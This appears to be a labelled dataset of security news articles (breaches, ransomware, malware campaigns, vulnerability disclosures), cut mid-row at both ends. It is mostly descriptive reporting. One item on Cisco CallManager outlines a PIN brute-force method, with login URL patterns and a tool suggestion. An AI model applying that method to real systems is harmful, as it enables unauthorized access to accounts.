Taiwanese Researcher allegedly planned to reveal Xiaomi zero-day vulnerability and his investigative researcher at Asia's biggest hackers conference, Ground Zero Summit (G0S) 2014 this November; with his session titled - ""Privacy-Alert: Exposing China-based XIAOMI Mobiles"".

As shown in the above screenshot, paper abstract mentioned on the website says, ""In this session Taiwanese Researcher will demonstrate how Xiaomi Phones have been sending device data and personal data of Xiaomi Phone user to Chinese Servers. The Researcher will also release Server Logs, Mi Account username, Emails and passwords of millions of Xiaomi users which have been obtained using a Zero Day flaw in the Xiaomi Servers.""

But after getting selected as a speaker for the conference, reportedly the talk has been pulled out from the conference within a day.

In a mail, the 'Ground Zero Summit' organizer told The Hacker News that 'Privacy-Alert: Exposing China-based XIAOMI Mobiles' session has been withheld till the time Xiaomi investigates the data breach and accusations made by the researcher. According to the paper, the vulnerability could have been utilized by anyone to convey a data and privacy breach.

DATA BREACH AT XIAOMI
Xiaomi devices provide 'Mi Account' to its customers through which users gain access to their Mi Cloud, Mi Talk, MIUI Forum, Mi Market and other Xiaomi services. These online Xiaomi Mi Accounts store users' personal information including mobile numbers, email addresses and account credentials.

Xiaomi website zero-day vulnerability and Taiwanese Researcher' session at G0S Conference also raises concern about the security of the data of millions of users linked to their Xiaomi's Mi Cloud account.

The researcher contacted The Hacker News team and provided partial database of a few thousands of Xiaomi users, which confirmed that the millions of Xiaomi Mi accounts has already been compromised.

Anyone with Xiaomi account credential can remotely locate, ring, lock and wipe up your phone data easily. Xiaomi mobile users are recommended to reset ""Mi account"" password immediately.

XIAOMI MOVING DATA CENTER TO INDIA
After facing several privacy controversies, Xiaomi said today that it plans to open a data center in India, away from its servers in Beijing due to performance and privacy considerations.

Just yesterday, Some newly launched Sony Xperia phones were also found secretly sending users' data to Servers in China using Baidu Spyware.

UPDATE
Here is the email statement issued by Xiaomi on the report:
We have verified that the zero-day data breach allegation made by security researcher Chen Huang and the Ground Zero Summit organizing committee is a hoax. The zero-day vulnerability reported by the cyber security researcher, Chen Huang, is a deliberate falsehood, and Xiaomi is taking the necessary legal action against the parties involved.
To date, throughout Xiaomi's history, there has only been one incident in which a two-year-old user account file was leaked in May 2014. After conducting a comprehensive investigation, we concluded that file contained information from user accounts registered before August 2012 in an old version of the Xiaomi user forum website. That information became obsolete when, in September 2012, we launched the Xiaomi Account integrated system.
In response to the incident in May 2014, we immediately requested users to change their passwords. We also announced the incident publicly via social media and to our user forums on May 14, 2014.
Chen Huang has recently threatened to expose data from the old user account file during a session at the upcoming Ground Zero Summit 2014, falsely claiming it to be data compromised through an existing vulnerability. This is a grave accusation, as we take our users' privacy very seriously, and we will seek legal action against the involved parties.

",Data_Breaches
What is Threat Intelligence and How It Helps to Identify Security Threats,https://thehackernews.com/2015/11/what-is-cyber-threat-intelligence.html,"Simply put, threat intelligence is knowledge that helps you identify security threats and make informed decisions. Threat intelligence can help you solve the following problems:
How do I keep up to date on the overwhelming amount of information on security threats…including bad actors, methods, vulnerabilities, targets, etc.?
How do I get more proactive about future security threats?
How do I inform my leaders about the dangers and repercussions of specific security threats?

Threat Intelligence: What is it?

Threat intelligence has received a lot of attention lately. While there are many different definitions, here are a few that get quoted often:
Threat intelligence is evidence-based knowledge, including context, mechanisms, indicators, implications and actionable advice, about an existing or emerging menace or hazard to assets that can be used to inform decisions regarding the subject's response to that menace or hazard. – Gartner
The set of data collected, assessed and applied regarding security threats, threat actors, exploits, malware, vulnerabilities and compromise indicators – SANS Institute

Why is everyone talking about it?

Verizon's 2015 DBIR estimated a financial loss of $400 million from 700 million compromised records, which resulted from 79,790 security incidents!

As long as security threats and breaches occur, every business will look for ways to protect their data. The threat landscape is always changing and the business risk is increasing because of our dependence on IT systems.

Threats come from internal as well as external sources. Bottom line is, organizations are under tremendous pressure to manage threats. Though information in the form of raw data is available abundantly, it is hard and time-consuming to get meaningful information based on which proactive measures can be set.

This naturally pulls more and more users towards threat intelligence as it helps to prioritize threats within the deluge of data, alerts, and attacks and provides actionable information.

The table below presents several common indicators of compromise that can be identified with threat intelligence feeds:

Category Indicators of Compromise Examples
Network
IP addresses
URLs
Domain names
Malware infections targeting internal hosts that are communicating with known bad actors
Email
Sender's email address and email subject
Attachments
Links
Phishing attempts where internal hosts click on an unsuspecting email and ""phone home"" to a malicious command and control server
Host-Based
Filenames and file hashes (e.g. MD5)
Registry keys
Dynamic link libraries (DLLs)
Mutex names
External attacks from hosts that might be infected themselves or are already known for nefarious activity
Threat Intelligence capabilities

Attacks can be broadly categorized as user based, application based and infrastructure based threats. Some of the most common threats are SQL injections, DDoS, web application attacks and phishing.

It is important to have an IT security solution that provides threat intelligence capabilities to manage these attacks by being both proactive and responsive.

Attackers are constantly changing their methods to challenge security systems. Therefore, it becomes inevitable for organizations to get threat intelligence from a variety of sources.

One of the proven methods to stay on top of attacks is to detect and respond to threats with a SIEM (Security Information & Event Management system).

A SIEM can be used to track everything that happens in your environment and identify anomalous activities. Isolated incidents might look unrelated, but with event correlation and threat intelligence, you can see what is actually happening in your environment.

Nowadays, IT security professionals must operate under the assumed breach mentality. Comparing monitored traffic against known bad actors sourced from threat intelligence would help in identifying malicious activities.

However, this could be manual and time-consuming. Integrating indicator based threat intelligence to a SEIM security solution would help in identifying compromised system and possibly even prevent some attacks.

Best Practices

Integrating threat intelligence and responding to attacks is not enough to combat the ever-changing threat landscape. You need to analyze the situation and determine threats you are likely to face, based on which you can come up with precautionary measures.

Here is a list of several best practices:
Have an application whitelist and blacklist. This helps in preventing execution of malicious or unapproved programs including, .DLL files, scripts and installers.
Check your logs carefully to see if an attempted attack was an isolated event, or if the vulnerability had been exploited before.
Determine what was changed in the attempted attack.
Audit logs and identify why this incident happened – reasons could range from system vulnerability to an out-of-date driver.

What will threat intelligence enabled SIEM solve
A SIEM, like SolarWinds Log & Event Manager, collects and normalizes log data from monitored traffic and automatically tags suspicious events.

With integrated threat intelligence mechanism and built-in rules, the monitored events can be compared against the list of constantly updated known bad actors.
You can quickly search & monitor for hits from the bad actors against the log data in real time and identify common indicators of compromise.

You can automatically respond with actions like blocking known bad IP addresses, in case of malicious attack attempts.

Watch how threat intelligence works in a SIEM and download your free trial of a leading SIEM from SolarWinds.

",Cyber_Attack
Former Microsoft Engineer Gets Prison for Role in Reveton Ransomware,https://thehackernews.com/2018/08/microsoft-reveton-ransomware.html,"A former Microsoft network engineer who was charged in April this year has now been sentenced to 18 months in prison after pleading guilty to money laundering in connection with the Reveton ransomware.

Reveton malware is old ransomware, also known as scareware or police ransomware that instead of encrypting files locks the screen of victims' computers and displays a message purporting to come from a national law enforcement agency.

The splash screen of the malware was designed to falsely tell unsuspecting victims that they have been caught doing illegal or malicious activities online or the law enforcement had found illegal material on their computer, forcing users to make pay a ""fine"" of $200-300 within 48 hours to regain access to their computers.

Raymond Odigie Uadiale, 41-year-old, who worked as a Microsoft network engineer, is not the actual author of the Reveton ransomware, but he helped the Reveton distributor, residing in the UK and identified as the online moniker ""K!NG,"" in cashing out ransom money collected from victims in the form of Green Dot MoneyPak prepaid vouchers.

Uadiale, who was a student at Florida International University at the time of his crime in 2012 and 2013, was said to have acquired MoneyPak debit cards under the fake name of Mike Roland and received payments from victims of Reveton.

Using Liberty Reserve service, Uadiale then transferred $93,640 into accounts of his unnamed co-conspirator in the United Kingdom, after keeping his 30 percent cut.
Liberty Reserve was itself closed down by US authorities in May 2013, after its creator pleaded guilty to laundering hundreds of millions of dollars through the digital currency exchange and was sentenced to 20 years in prison.

In the Southern Florida US District Court on Monday, Uadiale was given an 18-month prison sentence and three years of supervised release, after he agreed to a plea agreement that dismissed the second count of substantive money laundering.
""The indictment charged Uadiale with one count of conspiracy to commit money laundering and one count of substantive money laundering. As part of the plea agreement, the government dismissed the substantive count.""
""By cashing out and then laundering victim payments, Raymond Uadiale played an essential role in an international criminal operation that victimized unsuspecting Americans by infecting their computers with malicious ransomware,"" said Assistant Attorney General Brian Benczkowski.
Microsoft hired Uadiale as a network engineer after the conspiracy charged related to the ransomware scheme in the indictment ended.

",Cyber_Attack
Malware Campaign Targeting BlackBerry,https://thehackernews.com/2012/08/malware-campaign-targeting-blackberry.html,"Websense ThreatSeeker Network intercepted a malware campaign targeting BlackBerry customers. These fake emails state that the recipient has successfully created a BlackBerry ID.

According to Security Labs, those users who are targeted receive an email with the subject line ""Your BlackBerry ID has been created."" The email encourages users to follow instructions in the attached file on how to ""enjoy the full benefits"" of their ID.

The malware comes attached to an email that is an exact copy of the email you receive when creating a new BlackBerry ID. It teases you by asking you to download an attachment that allows you to fully appreciate the BlackBerry user experience.
Those who open the attached .zip file will drop a handful of executable files that will modify the system registry to start malware programs upon the machine's next startup.

",Malware
"A virus specialized for AutoCAD, a perfect cyber espionage tool",https://thehackernews.com/2012/06/virus-specialized-for-autocad-perfect.html,"A virus specialized for AutoCAD, a perfect cyber espionage tool
In recent years we are assisting to a profoundly change in the nature of malware, it is increased the development for spy purposes, for its spread in both private and government sectors. The recent case of Flame malware has demonstrated the efficiency of a malicious agent as a gathering tool in a typical context of state-sponsored attack for cyber espionage.

Event like this represent the tip of the iceberg, every day millions of malware instances infect pc in every place in the world causing serious damages related to the leak of sensible information. Specific viruses are developed to address particular sectors and information, that is the case for example of ""ACAD/Medre.A"", a malware specialized in the theft of AutoCAD files. The virus has been developed to steal blueprints from private companies mostly based in Peru according the expert of the security firm ESET.

The virus is able to locate AutoCAD file on infected machines and to send them via e-mail to accounts provided by two Chinese internet firms, 163.com and qq.com.

The malware detected is written in AutoLISP, an AutoCAD scripting language, ACAD/Medre for the shipment of stolen data creates a password protected RAR-file containing the blueprints and the requisite ""acad.fas"" file and a "".dxf"" file and send it separately by e-mail. The .DXF file generated by ACAD/Medre contains a set of information that the recipient uses to the collecting of stolen files.

The password used for the RAR file is just one character equals to ""1"".

Once discovered the email accounts used to transfer the stolen data the group of researcher noticed that the InBox for each of them was full, they turned out all saturated by over 100,000 mails giving an idea of the dimension of the attack.

The virus has been detected several months ago but only in the last weeks it has been observed an explosion of the number of infected systems.

The researcher Righard Zwienenberg researcher of ESET declared ""It represents a serious case of industrial espionage,"" ""Every new design is sent automatically to the operator of this malware. Needless to say this can cost the legitimate owner of the intellectual property a lot of money as the cybercriminals have access to the designs even before they go into production.""

""They may even have the guts to apply for patents on the product before the inventor has registered it at the patent office.""

The malware not limits its action to steal Autocad projects, it also checks the presence of Outlook email client to steal the pst file containing contacts, calendar and emails, confirming its genesis of espionage tool.

For completeness of information ESET provided a free stand-alone cleaner available for the ACAD/Medre.A worm. Every time we speak about of cyber espionage we could not think other that China, however the practice is really diffused and the fact that the accounts are related to Chinese accounts is clue but not a certainty.

It's clear that Chinese hackers are considered worldwide specialist in cyber espionage, the case of Nortel is considered a case study for the impact of cyber espionage on the business of private companies.

The Chinese government, and not only, at least a decade sponsored espionage activities for stealing trade secrets, confidential information and intellectual property of various kinds. Many experts are convinced that thanks to their ability to spy they were able, through the theft and reverse engineering of products, to clear the technological gap with the western industry.

This time the Chinese authorities have demonstrated a collaborative approach identifying and blocking the accounts used for theft. Tens of thousands of AutoCAD blueprints leaked, the team of ESET experts promptly contacted the Chinese authorities such us Tencent company, owners of the qq.com domain, and also the Chinese National Computer Virus Emergency Response Center, their collaboration was essential to access to the account blocking them.

Another lesson learnt is an efficient fight to the cybercrime must be conducted with a total collaboration of all the involved actors. Only in this way it's possible to conduct an efficient immunization
.
Written By: Pierluigi Paganini
References
[Source]
",Malware
BlackBerry Z10 Privilege Escalation Vulnerability,https://thehackernews.com/2013/06/blackberry-z10-privilege-escalation.html,"BlackBerry Z10 users should be aware that there is a privilege escalation vulnerability. The vulnerability potentially allows a hacker to modify or edit data on a stolen BlackBerry Z10 smartphone with BlackBerry Protect enabled, identified as BSRT-2013-006 (CVE-2013-3692)

According to the advisory, an escalation of privilege vulnerability exists in the software 'BlackBerry® Protect™' of Z10 phones, supposed to help users delete sensitive files on a lost or stolen smartphone, or recover it again if it is lost.

""Taking advantage of the weak permissions could allow the malicious app to gain the device password if a remote password reset command had been issued through the BlackBerry Protect website, intercept and prevent the smartphone from acting on BlackBerry Protect commands, such as a remote smartphone wipe.""

The company says that version 10.0.9.2743 is not affected and that they have found no evidence of attackers exploiting this vulnerability in the wild. Furthermore, the more severe exploitation requires that an attacker has physical access to the device after its user has downloaded a maliciously crafted application.

As for the second advisory, Adobe Flash Player versions earlier than 10.0.10.648 included with Z10 are affected while versions 2.1.0.1526 on the PlayBook are impacted, identified as CVE-2013-0630.

To exploit this, the user must interact with a malicious .swf application embedded in website content or via an email attachment over webmail through a browser on one of the devices.

To avoid this vulnerability, you should update to the latest Blackberry 10 OS version.

",Vulnerability
Adobe Flash Player Update Patches 11 Critical Vulnerabilities,https://thehackernews.com/2015/03/adobe-flash-player-update.html,"After the latest Microsoft Patch Tuesday updates that came with important patches for Stuxnet and FREAK encryption-downgrade attack, now its time to update your Adobe Flash Player.

Adobe has rolled-out an update for its popular Flash Player software that patches a set of 11 critical security vulnerabilities in its program, most of which potentially allow hackers to remotely execute arbitrary code on vulnerable systems.

AFFECTED SOFTWARE
All versions prior to the latest version 17.0.0.134 of the Flash Player are affected on Windows and Mac OS X machines. Therefore, Adobe Flash Player installed with Google Chrome, as well as Internet Explorer 10 and 11 on Windows 8 and Windows 8.1, should automatically update to the newest version 17.0.0.134.

In addition, Adobe Flash Player 11.2.202.442 for Linux and Flash Player Extended Support Release 13.0.0.269 for Windows and Mac OS X are also affected by the vulnerabilities.

So, users of Flash Player on Linux should update to version 11.2.202.451 and Flash Player Extended Support Release on Windows and Mac are recommended to update to version 13.0.0.277.

REMOTE CODE EXECUTION
Total 9 Remote Code Execution vulnerabilities patches are included in the latest Adobe Flash PLayer update. An attacker could serve a specially crafted Flash file to trigger the vulnerabilities, which would lead to the execution of attacker's code in order to take control of a target system.

Most of the vulnerabilities in Adobe Flash Player have been reported by security researchers from Google's Project Zero team. Other security companies that disclosed the vulnerabilities are Hewlett-Packard, NCC Group, Intel and McAfee.

LIST OF VULNERABILITIES
The list of all the patched vulnerabilities along with their impacts is given below:
CVE-2014-0332 — Remote code execution via memory corruption vulnerability.
CVE-2015-0333 — Remote code execution via memory corruption vulnerability.
CVE-2015-0334 — Remote code execution from type confusion vulnerability.
CVE-2015-0335 — Remote code execution via memory corruption vulnerability.
CVE-2015-0336 — Remote code execution from type confusion vulnerability.
CVE-2015-0337 — A 'cross domain policy bypass' flaw.
CVE-2015-0338 — Remote code execution from integer overflow vulnerability.
CVE-2015-0339 — Remote code execution via memory corruption vulnerability.
CVE-2015-0340 — A 'File upload restriction bypass' flaw.
CVE-2015-0341 — Remote code execution from a 'use-after-free' vulnerability.
CVE-2015-0342 — Remote code execution from a 'use-after-free' vulnerability.
According to Adobe, none of the vulnerabilities are being publicly exploited in the wild thus far. However, we all know that immediately after the the release of updated versions, hackers starts exploiting these critical flaws in order to catch out people who haven't updated their machines.

Therefore users and administrators running Adobe Flash Player on Windows, Mac OS X and Linux are advised to update their software to the most recent version of the software in an attempt to protect their systems from cyber attacks.

",Vulnerability
Possible Data Breach at Arts and Crafts Retailer 'Michaels Store',https://thehackernews.com/2014/01/possible-data-breach-at-arts-and-crafts.html,"Western landscapes are facing a hell lot of data breaches started with Target, Neiman Marcus and now country's largest crafts chain 'Michael's Art and Crafts' may be is the latest retailer hit by a security breach.

In a statement, Irving, Texas-based company acknowledged a possible data security breach that may have affected its customers' payment card information at its 1250 stores across the United States and Canada.

They also announced that it is working closely with federal law enforcement and is conducting an investigation with the help of third-party data security experts to establish the facts.
""Michaels said in its statement that it had ""recently learned of possible fraudulent activity on some US payment cards that had been used at Michaels, suggesting that the company may have experienced a data security attack"" company said.

CEO Chuck Rubin said that the company has not confirmed a breach, but wanted to alert customers:
We are concerned there may have been a data security attack on Michaels that may have affected our customers' payment card information and we are taking aggressive action to determine the nature and scope of the issue.

Michaels gave no additional information on the possible breach. At the time of writing, it was not known that how many customers may be involved and the possible breach affected online or in-store shoppers.

Michaels, a 37 year old chain with 1259 stores had revenue more than $4 Billion in 2012, and this is not the first time when the company has faced a data breach. In 2011, about 94,000 payment card numbers were stolen from approx 80 stores.

Michaels is the third major targeted retailer in the past month. In December, the attack on Target affected as many as 110 million customers, including 40 million credit and debit card and Neiman Marcus said a 3 month breach in the summer affected its 1.1 million customers.

The FBI has sent a three-page confidential memo to retailers and warned them to get prepared for more attacks involving ""memory-parsing"" malware that lives on point of sale registers (POS), which includes card-swiping machines and cash registers.

This memory-parsing malware is also referred to as a RAM scraper. The FBI mentions one particular variant of this malware, apparently called Alina, available at $6000 on underground forums.

If Michaels confirms a breach, it would become the latest victim in a string of data attacks rattling merchants across the U.S. Meanwhile, clients have been recommended to check their payment card account statements for unauthorized charges.

",Malware
Hostinger Suffers Data Breach – Resets Password For 14 Million Users,https://thehackernews.com/2019/08/web-hosting-hostinger-breach.html,"Popular web hosting provider Hostinger has been hit by a massive data breach, as a result of which the company has reset passwords for all customers as a precautionary measure.

In a blog post published on Sunday, Hostinger revealed that ""an unauthorized third party"" breached one of its servers and gained access to ""hashed passwords and other non-financial data"" associated with its millions of customers.

The incident occurred on August 23 when unknown hackers found an authorization token on one of the company's servers and used it to gain access to an internal system API, without requiring any username and password.

Immediately after the breach discovery, Hostinger restricted the vulnerable system, making this access no longer available, and contacted the respective authorities.

""On August 23rd, 2019 we have received informational alerts that one of our servers has been accessed by an unauthorized third party,"" Hostinger said.

""This server contained an authorization token, which was used to obtain further access and escalate privileges to our system RESTful API Server*. This API Server* is used to query the details about our clients and their accounts.""

The API database hosts personal information of nearly 14 million Hostinger customers, including their usernames, emails, hashed passwords, first names, and IP addresses, which have been accessed by hackers.

Breach Affects Over Half of Hostinger's User Base

The company has over 29 million users, so the data breach affected over half of its complete user base.

However, it should be noted that the company used the weak SHA-1 hashing algorithm to scramble the Hostinger client passwords, making it easier for hackers to crack the passwords.

As a precautionary measure, the company has reset all Hostinger Client login passwords using the stronger SHA-2 algorithm and sent out emails password recovery emails to the affected consumers.

Also, the company doesn't currently offer two-factor authentication (2FA) for its customers' accounts, though it says it is planning to provide this additional layer of security in the near future.

Hostinger reassured its customers that no financial data is believed to have been accessed as the company never stores any payment card or other sensitive financial data on its servers, adding that third-party payment providers handle payments for its services.

Furthermore, the company has also assured that a thorough internal investigation found that the Hostinger Client accounts and data stored on those accounts, including websites, domains, and hosted emails, remained untouched and unaffected.

The investigation into the matter is still ongoing, and a team of internal and external forensics experts and data scientists has been assembled to discover the origin of the data breach and increase security measures of all the company's operations.

Following the password reset, the company is also urging its customers to set a strong and unique password for their Hostinger accounts and to be cautious of suspicious emails asking them to click on the links or download attachments, as well as any unsolicited communications asking for login details, or other personal information.

Customers who want to delete their details from Hostinger servers under GDPR rules should contact gdpr@hostinger.com.

",Data_Breaches
Cisco CallManager vulnerable to brute force attack,https://thehackernews.com/2012/10/cisco-callmanager-vulnerable-to-brute.html,"Roberto Suggi Liverani, founder of the OWASP (Open Web Application Security Project) New Zealand chapter discover a vulnerability in Cisco CallManager AKA Unified Communications Manager. It is a software-based call-processing system developed by Cisco Systems.

He described on his blog ""During a security review, I have found a quick way to perform PIN brute force attack against accounts registered with a Cisco Unified Communications Manager (CallManager).""

Researcher target the HTTP GET requests used by CallManager to initiate the login process. :
https://x.x.x.x/ccmpd/pdCheckLogin.do?name=undefined

He Demonstrated the idea with Burp Suite (Penetration testing Framework). He showed the html form parameter used for login as shown below:
https://x.x.x.x/ccmpd/login.do?sid=_sid_value_&userid=_userid_&pin=_PIN_

The sid token is required to perform the PIN brute force attack. So first get a valid sid token value and then you can brute force userid and pin using dictionary attack or Combination attack.

Others can use HYDRA(most powerful bruteforce tool) , which is capable of brute forcing HTTP web requests.

",Vulnerability
Ransomware Virus Shuts Down Electric and Water Utility,https://thehackernews.com/2016/04/power-ransomware-attack.html,"Ransomware has become an albatross around the neck, targeting businesses, hospitals, and personal computers worldwide and extorting Millions of Dollars.

Typical Ransomware targets victim's computer encrypts files on it, and then demands a ransom -- typically about $500 in Bitcoin -- in exchange for a key that will decrypt the files.

Guess what could be the next target of ransomware malware?

Everything that is connected to the Internet.

There is a huge range of potential targets, from the pacemaker to cars to Internet of the Things, that may provide an opportunity for cybercriminals to launch ransomware attacks.

Recently, the American public utility Lansing Board of Water & Light (BWL) has announced that the company has become a victim of Ransomware attack that knocked the utility's internal computer systems offline.

Also Read: FBI Suggests Ransomware Victims — 'Just Pay the Ransom'.

The attack took place earlier this week when one of the company's employees opened a malicious email attachment.

Once clicked, the malware installed on the computer and quickly began encrypting the organization's files, according to the Lansing State Journal.

BWL quickly decided to shut down its networks and suspend some services, including accounting and email service for its about 250 employees, in order to prevent further damages. Power and water shut-offs by BWL was also suspended.

Though the ransomware type is still unknown, the utility is currently working with the Federal Bureau of Investigation (FBI) and local law enforcement authorities to investigate the incident.

The company assured its 96,000 customers that no personal information related to its customers or employees has been compromised by the ransomware intrusion into the corporate computer network.

However, it is not yet clear whether the utility paid the Ransom in exchange of its data. The company said law enforcement has limited it from discussing the issue in public, at least for now.

",Malware
Another Malware from Android Market infect Millions of Users,https://thehackernews.com/2012/01/another-malware-from-android-market.html,"Another Malware from Android Market infect Millions of Users


Malware might have infected more than 5 million Android mobile devices via deliberately corrupted apps sold in the Android Marketplace, according to security firm Symantec. They reckoned Android.Counterclank, a slight variant of Android.Tonclank.

Symantec explains that the malicious code appears in a package called ""apperhand"", and a service under the same name can been seen running on the infected device when it's executed. According to Symantec, the Trojan has been identified in 13 different apps in the Android Marketplace.
Symantec's Security Response Team Director, Kevin Haley said:""They don't appear to be real publishers. There aren't rebundled apps, as we've seen so many times before."" Symantec also noted that this slimy piece of malware has the highest distribution of any malware identified so far this year and may actually be the largest malware infection seen by Android users in the operating systems short life.

The malware is actually a Trojan that attacks Android smartphones. Upon installation, it collects a wide scope of data, including the handset maker and bookmark copies. Moreover, it modifies the home page of the browser. As a result, hackers have earned some money from the malware by pushing some unwanted advertisements on the compromised Android devices.One of the reasons why the malware has affected such a huge number of Android users is because they do not bother reading privacy agreements. They simply approve these apps, without even reading information on them.

Symantec stated it had notified Google of the apps hiding malicious code. However, many of the infected entries were still available on the Android Market as of Friday afternoon. For removal of the malware, Symantec is advising smartphone users to uninstall the infected applications and run a mobile antivirus program. It's time Google started taking security much more seriously.

",Vulnerability
Hackers Targeting Critical Healthcare Facilities With Ransomware During Coronavirus Pandemic,https://thehackernews.com/2020/04/ransomware-hospitals-coronavirus.html,"As hospitals around the world are struggling to respond to the coronavirus crisis, cybercriminals—with no conscience and empathy—are continuously targeting healthcare organizations, research facilities, and other governmental organizations with ransomware and malicious information stealers.

The new research, published by Palo Alto Networks and shared with The Hacker News, confirmed that ""the threat actors who profit from cybercrime will go to any extent, including targeting organizations that are in the front lines and responding to the pandemic on a daily basis.""

While the security firm didn't name the latest victims, it said a Canadian government healthcare organization and a Canadian medical research university both suffered ransomware attacks, as criminal groups seek to exploit the crisis for financial gain.

The attacks were detected between March 24 and March 26 and were initiated as part of the coronavirus-themed phishing campaigns that have become widespread in recent months.

Palo Alto Networks' disclosure comes as The U.S. Department of Health and Human Services (HHS), biotechnology firm 10x Genomics, Brno University Hospital in the Czech Republic, and Hammersmith Medicines Research have been hit by cyberattacks in the past few weeks.

Delivering Ransomware by Exploiting CVE-2012-0158

According to the researchers, the campaign began with malicious emails sent from a spoofed address mimicking the World Health Organization (noreply@who[.]int) that were sent to a number of individuals associated with the healthcare organization that's actively involved in COVID-19 response efforts.

The email lures contained a rich text format (RTF) document named ""20200323-sitrep-63-covid-19.doc,"" which, when opened, attempted to deliver EDA2 ransomware by exploiting a known buffer overflow vulnerability (CVE-2012-0158) in Microsoft's ListView / TreeView ActiveX controls in MSCOMCTL.OCX library.


""It is interesting to note that even though the file name clearly references a specific date (March 23, 2020), the file name was not updated over the course of the campaign to reflect current dates,"" Palo Alto Networks researchers noted.

""It is also interesting that the malware authors did not attempt to make their lures appear legitimate in any way; it is clear from the first page of the document that something is amiss.""

Upon execution, the ransomware binary contacts the command-and-control (C2) server to download an image that serves as the main ransomware infection notification on the victim's device, and subsequently transmits the host details to create a custom key to encrypt the files on the system's desktop with a "".locked20"" extension.

Aside from receiving the key, the infected host uses an HTTP Post request to send the decryption key, encrypted using AES, to the C2 server.

Palo Alto Networks ascertained that the ransomware strain was EDA2 based on the code structure of the binary and the host-based and network-based behaviors of the ransomware. EDA2 and Hidden Tear are considered one of the first open-source ransomware that were created for educational purposes but have since been abused by hackers to pursue their own interests.

A Spike in Ransomware Incidents

The ransomware attacks are a consequence of an increase in other cyberattacks related to the pandemic. They have included a rash of phishing emails that attempt to use the crisis to persuade people to click on links that download malware or ransomware onto their computers.

Furthermore, Check Point Research's Brand Phishing Report for Q1 2020 observed a jump in mobile phishing due to people spending more time on their phones for information related to the outbreak and for work. Attackers were found imitating popular services such as Netflix, Airbnb, and Chase Bank to steal login credentials.

With hospitals under time constraints and pressure due to the ongoing pandemic, hackers are counting on the organizations to pay ransoms to recover access to critical systems and prevent disruption to patient care.

A report released by RisKIQ last week found that ransomware attacks on medical facilities were up 35% between 2016 and 2019, with the average ransom demand being $59,000 across 127 incidents. The cybersecurity firm stated that hackers also favored small hospitals and healthcare centers for reasons ranging from lean security support to increased likelihood of heeding to ransom demands.

The spike in ransomware attacks against the medical sector has prompted Interpol to issue a warning about the threat to member countries.

""Cybercriminals are using ransomware to hold hospitals and medical services digitally hostage, preventing them from accessing vital files and systems until a ransom is paid,"" the agency said.

To protect the systems from such attacks, Interpol cautioned organizations to watch out for phishing attempts, encrypt sensitive data, and take periodic data backups, aside from storing them offline or on a different network to thwart cybercriminals.

",Cyber_Attack
Zero-Click Wormable RCE Vulnerability Reported in Microsoft Teams,https://thehackernews.com/2020/12/zero-click-wormable-rce-vulnerability.html,"A zero-click remote code execution (RCE) bug in Microsoft Teams desktop apps could have allowed an adversary to execute arbitrary code by merely sending a specially-crafted chat message and compromise a target's system.
The issues were reported to the Windows maker by Oskars Vegeris, a security engineer from Evolution Gaming, on August 31, 2020, before they were addressed at the end of October.
Microsoft did not assign a CVE to this vulnerability, stating ""it's currently Microsoft's policy to not issue CVEs on products that automatically updates without user's interaction.""
""No user interaction is required, exploit executes upon seeing the chat message,"" Vegeris explained in a technical write-up.
The result is a ""complete loss of confidentiality and integrity for end users — access to private chats, files, internal network, private keys and personal data outside MS Teams,"" the researcher added.
Worse, the RCE is cross-platform — affecting Microsoft Teams for Windows (v1.3.00.21759), Linux (v1.3.00.16851), macOS (v1.3.00.23764), and the web (teams.microsoft.com) — and could be made wormable, meaning it could be propagated by automatically reposting the malicious payload to other channels.
This also means the exploit can be passed on from one account to a whole group of users, thereby compromising an entire channel.
To achieve this, the exploit chain strings together a cross-site scripting (XSS) flaw present in the Teams '@mentions' functionality and a JavaScript-based RCE payload to post a harmless-looking chat message containing a user mention either in the form of a direct message or to a channel.
Simply visiting the chat at the recipient's end leads to the execution of the payload, allowing it to be exploited to log users' SSO tokens to local storage for exfiltration and execute any command of the attacker's choice.
This is not the first time such RCE flaws were observed in Teams and other enterprise-focused messaging apps.
Chief among them is a separate RCE vulnerability in Microsoft Teams (CVE-2020-17091) that the company patched as part of its November 2020 Patch Tuesday last month.
Earlier this August, Vegeris also disclosed a critical ""wormable"" flaw in Slack's desktop version that could have allowed an attacker to take over the system by simply sending a malicious file to another Slack user.
Then in September, networking equipment maker Cisco patched a similar flaw in its Jabber video conferencing and messaging app for Windows that, if exploited, could allow an authenticated, remote attacker to execute arbitrary code.

",Vulnerability
Corel Software DLL Hijacking Vulnerability Allows Hackers to Execute Malicious Code,https://thehackernews.com/2015/01/corel-software-DLL-hacking.html,"Security researchers have disclosed local zero day DLL hijacking vulnerabilities in several applications developed by Corel Software that could allow an attacker to execute arbitrary commands on victims' computer, potentially affecting more than 100 million users.

The security holes were publicly disclosed by Marcos Accossatto from a vulnerability research firm Core Security after the vendor didn't respond to his private disclosure about the flaws.

Corel develops wide range of products including graphics, photo, video and other media editing programs. According to the researcher, when a media file associated with one of the vulnerable Corel products is opened, the product also loads a specifically named DLL (Dynamic Link Library) file into memory if it's located in the same directory as the opened media file.

These DLL files contain executable code which could allow an attacker to install malware on victims' computers by inserting malicious DLLs into the same directory as the document.
""Given that this is a client-side vulnerability, affected users should avoid opening untrusted files whose extensions are associated with Corel software and contain any of the [affected] DLL files,"" Accossatto said in an advisory.
""When a file associated with the Corel software is opened, the directory of that document is first used to locate DLLs, which could allow an attacker to execute arbitrary commands by inserting malicious DLLs into the same directory as the document.""
VULNERABLE COREL PRODUCTS
At least eight Corel products are all affected by the vulnerabilities including:
CorelDRAW X7
Corel Photo-Paint X7
Corel PaintShop Pro X7
CorelCAD 2014
Corel Painter 2015
Corel PDF Fusion
Corel VideoStudio PRO X7
Corel FastFlick
Corel was warned of the vulnerabilities in its products on December 9, 2014, followed by another email on December 17, 2014 with a request to confirm receiving the previous message. But there was no response from the vendor. The Core team then contacted the company again via Twitter on January 2, but again received no response, hence disclosed it publicly.

STATEMENT FROM TEAM COREL
There are no patches available for the vulnerabilities yet.
""Corel is reviewing its products on a case-by-case basis to safeguard dynamic loading of DLL files, which is a common vulnerability in many Windows applications,"" said Jessica Gould, senior communications manager for Corel, in a statement Tuesday.
""Corel makes frequent updates to our applications and these changes have been made a priority for the next update of any affected Corel product. We would like to assure our users that we are not aware of any exploits of this issue with our software.""

",Vulnerability
Chinese Hacker Publishes PoC for Remote iOS 12 Jailbreak On iPhone X,https://thehackernews.com/2019/01/ios12-jailbreak-exploit.html,"Here we have great news for all iPhone Jailbreak lovers and concerning one for the rest of iPhone users.

